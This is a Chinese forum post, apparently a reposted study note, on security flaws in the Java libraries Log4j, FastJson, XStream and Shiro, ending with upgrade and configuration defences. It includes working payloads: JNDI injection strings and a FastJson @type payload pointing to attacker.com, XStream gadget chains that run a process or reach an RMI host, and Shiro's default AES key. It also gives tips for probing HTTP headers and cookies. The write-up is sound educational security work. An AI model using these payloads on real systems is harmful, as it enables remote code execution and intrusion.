找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1700

积分

0

好友

226

主题
发表于 昨天 17:21 | 查看: 5| 回复: 0

JavaEE企业级开发中,我们常常依赖第三方库来快速实现日志记录、数据序列化、安全认证等功能。然而,这些广泛使用的库也可能成为攻击者的突破口。本文整理了Log4j、FastJson、XStream和Shiro四个常见组件的安全漏洞原理、利用方式及防御思路,帮助开发者和安全人员更好地理解和防范这些风险。

一、Log4j 日志组件:JNDI 注入引发的 RCE

1. 简介

Log4j是一个基于Java的日志记录工具,广泛应用于业务系统。开发者可通过它记录程序的输入输出信息。但Log4j 2.x版本中存在一个严重的JNDI注入漏洞(CVE-2021-44228),允许攻击者通过日志消息触发远程代码执行。

2. Maven依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>  <!-- 受影响版本 -->
</dependency>

3. 常见用法

// 记录普通日志
logger.info(“用户访问:{}”, username);

// 记录错误信息
logger.error(“发生异常:{}”, exception.getMessage());

4. 漏洞原理

Log4j支持通过${}占位符进行变量替换,其中包含JNDI查找功能(如${jndi:ldap://…})。当日志消息中包含这类字符串时,Log4j会尝试解析并执行JNDI查询,若攻击者可控日志内容,即可指向恶意LDAP服务器,加载远程类,最终实现RCE。

5. 漏洞演示(2.14.1 版本)

// 测试操作系统信息(无害)
String code = “${java:os}”;
logger.error(“{}”, code);  // 输出:Mac OS X 10.15.7 等

// 恶意 JNDI 注入
String exp = “${jndi:ldap://attacker.com:1389/Exploit}”;
logger.error(“{}”, exp);   // 触发远程类加载

结论:当日志内容包含恶意JNDI地址时,可导致RCE。

6. 利用方式

  • 黑盒测试:在用户输入、HTTP头(如User-Agent、X-Forwarded-For)等位置插入JNDI注入payload。
  • 白盒审计:搜索项目中logger的调用,查看是否有外部可控数据直接传入日志方法。

二、FastJson:反序列化调用 Getter/Setter 导致的 RCE

1. 简介

FastJson是阿里巴巴开源的Java JSON处理库,能高效地将Java对象与JSON相互转换。由于其反序列化机制会自动调用某些类的getter/setter方法,攻击者可利用特定类的构造链实现远程代码执行。

2. Maven依赖

<!-- 受影响版本示例 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>  <!-- 存在漏洞 -->
</dependency>
<!-- 1.2.25 引入了 autotype 限制,但仍可能绕过 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.25</version>
</dependency>

3. 常用方法

  • 序列化:JSON.toJSONString(obj)JSON.toJSONBytes(obj)
  • 反序列化:JSON.parseObject(json, Clazz.class)JSON.parse(json)JSON.parseArray(json)
  • 转换:JSON.toJavaObject(jsonObject, Clazz.class)JSON.writeJSONString(os, obj)

4. 漏洞原理

FastJson在反序列化时,会根据JSON中的@type指定类名,并尝试实例化该类。过程中会调用符合条件的setter方法以及特定getter方法。攻击者可构造JSON数据,利用某些Java类的setter方法执行恶意操作(如JNDI注入、文件写入等),形成反序列化攻击链。

5. 演示(1.2.24 版本)

// 正常反序列化
String json = “{\”@type\“:\”com.example.User\“,\”name\“:\”Alice\“}”;
JSON.parseObject(json);

// 恶意 payload(利用 JdbcRowSetImpl 触发 JNDI 注入)
String payload = “{\”@type\“:\”com.sun.rowset.JdbcRowSetImpl\“,\”dataSourceName\“:\”ldap://attacker.com:1389/Exploit\“,\”autoCommit\“:true}”;
JSON.parse(payload);

结论:反序列化时若@type指向危险类,可能触发JNDI注入或其它攻击。

6. 利用方式

  • 黑盒:在JSON数据中插入@type字段,尝试替换为已知gadget类。
  • 白盒:查找JSON.parseJSON.parseObject等调用,并追踪参数是否可控。

三、XStream:反序列化调用 readObject 导致的 RCE

1. 简介

XStream是一个简单的Java库,用于将Java对象序列化为XML,或从XML反序列化为对象。由于它支持动态代理和自定义转换器,攻击者可以通过精心构造的XML触发目标类的readObject方法,进而执行恶意代码。

2. Maven依赖

<!-- 受影响版本示例 -->
<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.5</version>   <!-- 存在漏洞 -->
</dependency>
<!-- 1.4.15 修复了部分漏洞,但仍有绕过可能 -->
<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.15</version>
</dependency>

3. 基本用法

// 序列化
Car car = new Car(“Ferrari”, 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);

// 反序列化
String xml = “…”;  // 来自外部
XStream xStream = new XStream();
Car car = (Car) xStream.fromXML(xml);

4. 漏洞原理

XStream反序列化时,会根据XML元素创建对应类的实例,并调用该类的readObject方法(如果实现了Serializable接口)。攻击者可利用某些Java类(如EventHandlerPriorityQueue等)在readObject中执行危险操作,构造出完整的RCE利用链。

5. 漏洞演示

(1) 已知类的调用方法(普通反序列化)

<com.example.xstreamdemo.Car serialization=“custom”>
  <com.example.xstreamdemo.Car>
    <default>
      <price>4000000</price>
      <name>Ferrari</name>
    </default>
  </com.example.xstreamdemo.Car>
</com.example.xstreamdemo.Car>

这段XML可正常反序列化Car对象。

(2) 利用 EventHandler 的 CVE 链

<sorted-set>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class=“java.beans.EventHandler”>
      <target class=“java.lang.ProcessBuilder”>
        <command>
          <string>calc.exe</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

该payload利用动态代理和EventHandler,最终执行ProcessBuilder.start()打开计算器。

(3) 更复杂的利用链(JdbcRowSetImpl JNDI 注入)

<java.util.PriorityQueue serialization=‘custom’>
  … <!-- 省略中间大量嵌套 -->
  <jaxbObject class=‘com.sun.rowset.JdbcRowSetImpl’ serialization=‘custom’>
    <javax.sql.rowset.BaseRowSet>
      <default>
        <dataSource>rmi://attacker.com:1099/Exploit</dataSource>
      </default>
    </javax.sql.rowset.BaseRowSet>
  </jaxbObject>
</java.util.PriorityQueue>

该链通过嵌套调用最终设置dataSource为恶意RMI地址,触发JNDI注入。

结论:XStream反序列化时可能调用目标类的readObject,结合JDK自带类可构建RCE链。

6. 利用方式

  • 黑盒:寻找接收XML数据的接口,替换为已知漏洞payload。
  • 白盒:审计XStream.fromXML调用,检查外部输入是否直接传入。

四、Shiro 安全框架:配置不当与反序列化漏洞

1. 简介

Apache Shiro是一个功能强大的Java安全框架,提供身份验证、授权、加密和会话管理。由于其RememberMe功能使用了AES加密(硬编码密钥或弱密钥),攻击者可构造恶意序列化数据触发反序列化RCE(如Shiro-550、Shiro-721)。

2. 开发与依赖

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.7.1</version>  <!-- 不同版本存在不同漏洞 -->
</dependency>

3. 漏洞原理

  • Shiro-550 (CVE-2016-4437):Shiro默认使用硬编码的AES密钥(kPH+bIxk5D2deZiIxcaaaA==)对RememberMe的Cookie进行加密。攻击者可以用该密钥加密恶意反序列化payload,服务端解密后触发反序列化。
  • Shiro-721:使用Padding Oracle攻击,在不知道密钥的情况下利用RememberMe的AES-CBC模式构造恶意密文。
  • 权限绕过:某些版本对URL的解析存在差异,可绕过鉴权访问敏感接口。

4. 利用方式

  • 黑盒:抓包查看Cookie中是否有rememberMe=xxx,尝试替换为已知工具生成的payload。
  • 白盒:查看shiro.ini或配置类中RememberMe密钥是否被修改,以及Shiro版本是否在受影响范围内。

五、总结与防御建议

组件 风险点 防御措施
Log4j JNDI注入 升级到2.17.0+;设置log4j2.formatMsgNoLookups=true;移除JndiLookup
FastJson 反序列化调用setter/getter 升级到最新版;开启safeMode;使用@type白名单
XStream 反序列化调用readObject 升级到1.4.20+;配置自定义转换器白名单
Shiro 反序列化AES密钥泄露 修改默认密钥;升级到1.7.1+;使用更强的加密算法

日常开发建议:

  • 保持第三方库及时更新。
  • 对用户输入进行严格校验,避免直接传入反序列化函数,这属于关键的后端 & 架构设计原则。
  • 采用最小权限原则,限制Java进程的JNDI访问。
  • 定期进行安全/渗透/逆向扫描和代码审计。

参考资料

[1] 第48天-JavaEE 开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream 与 Shiro, 微信公众号:mp.weixin.qq.com/s/NT3ryqHAeboY1ZF5fn2QBQ

版权声明:本文由 云栈社区 整理发布,版权归原作者所有。




上一篇:AgentOS范式下的大模型竞争:从OpenRouter数据看MiniMax M2.5的崛起
下一篇:从代码到决策:架构师如何用AI接管执行层工作流
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-25 07:36 , Processed in 0.370038 second(s), 43 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表